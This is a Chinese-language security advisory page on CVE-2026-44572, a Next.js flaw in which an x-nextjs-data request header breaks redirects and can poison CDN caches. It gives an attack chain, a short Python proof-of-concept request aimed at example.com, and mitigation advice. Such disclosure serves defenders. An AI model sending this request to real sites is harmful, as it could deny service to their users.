IPBUF安全漏洞报告
English
CVE-2026-44572 CVSS 3.7 低危

CVE-2026-44572 Next.js重定向缓存投毒漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44572
漏洞类型
拒绝服务
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

Next.js拒绝服务缓存投毒Web安全CVE-2026-44572

漏洞概述

Next.js框架在12.2.0至15.5.16之前及16.2.5之前的版本中存在安全漏洞。攻击者可利用特制的x-nextjs-data请求头,诱导中间件将标准Location重定向头替换为浏览器不识别的x-nextjs-redirect头。若应用部署在未正确配置缓存策略的CDN或反向代理后,攻击者可投毒缓存,导致后续用户访问重定向路径时服务不可用。

技术细节

该漏洞的根源在于Next.js中间件对特定请求头的处理逻辑存在缺陷。当外部客户端发送带有x-nextjs-data头的请求至由中间件处理的重定向路径时,中间件会错误地将该请求视为数据请求,进而用内部使用的x-nextjs-redirect响应头替换标准的HTTP Location响应头。由于浏览器仅遵循Location头进行跳转,这导致正常的重定向逻辑失效。在特定部署环境下,即应用前端存在CDN或反向代理且对3xx响应进行缓存,但未根据x-nextjs-data头进行缓存区分时,攻击者只需发送一次恶意请求,即可将缺少Location头的无效重定向响应写入缓存。随后的所有合法用户访问该路径时,都将直接获取被投毒的缓存响应,无法完成页面跳转,从而形成拒绝服务。

攻击链分析

STEP 1
侦察
攻击者识别出使用受影响版本Next.js构建的目标网站,并确认其部署在缓存3xx响应的CDN或反向代理之后。
STEP 2
发送恶意请求
攻击者向由中间件处理的重定向路径发送HTTP请求,并在请求头中注入x-nextjs-data。
STEP 3
触发漏洞逻辑
Next.js中间件响应请求,将标准Location头替换为x-nextjs-redirect头,返回给前端代理。
STEP 4
缓存投毒
前端CDN或反向代理接收到该异常的3xx响应,并将其作为该路径的有效缓存内容存储。
STEP 5
拒绝服务
后续合法用户访问该路径时,直接命中缓存,收到无效的重定向响应(无Location头),导致无法正常访问业务功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (A path handled by middleware that redirects) target_url = "http://example.com/login" # The malicious header that triggers the vulnerability headers = { "x-nextjs-data": "1", "User-Agent": "PoC-Client/1.0" } try: # Send request without following redirects response = requests.get(target_url, headers=headers, allow_redirects=False) print(f"Status Code: {response.status_code}") print(f"Location Header: {response.headers.get('Location')}") print(f"x-nextjs-redirect Header: {response.headers.get('x-nextjs-redirect')}") # Check for vulnerability signs: 3xx status, missing Location, presence of x-nextjs-redirect if 300 <= response.status_code < 400: if not response.headers.get('Location') and response.headers.get('x-nextjs-redirect'): print("[+] Potential CVE-2026-44572 vulnerability confirmed!") print("[+] The cache may be poisoned if behind a CDN.") else: print("[-] Normal redirect behavior observed.") else: print("[-] Target did not return a redirect status.") except Exception as e: print(f"Error connecting to target: {e}")

影响范围

Next.js >= 12.2.0, < 15.5.16
Next.js >= 16.0.0, < 16.2.5

防御指南

临时缓解措施
如果无法立即升级,建议在CDN或反向代理层面配置规则,忽略包含x-nextjs-data头的请求的缓存,或者暂时禁用对3xx重定向响应的缓存,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表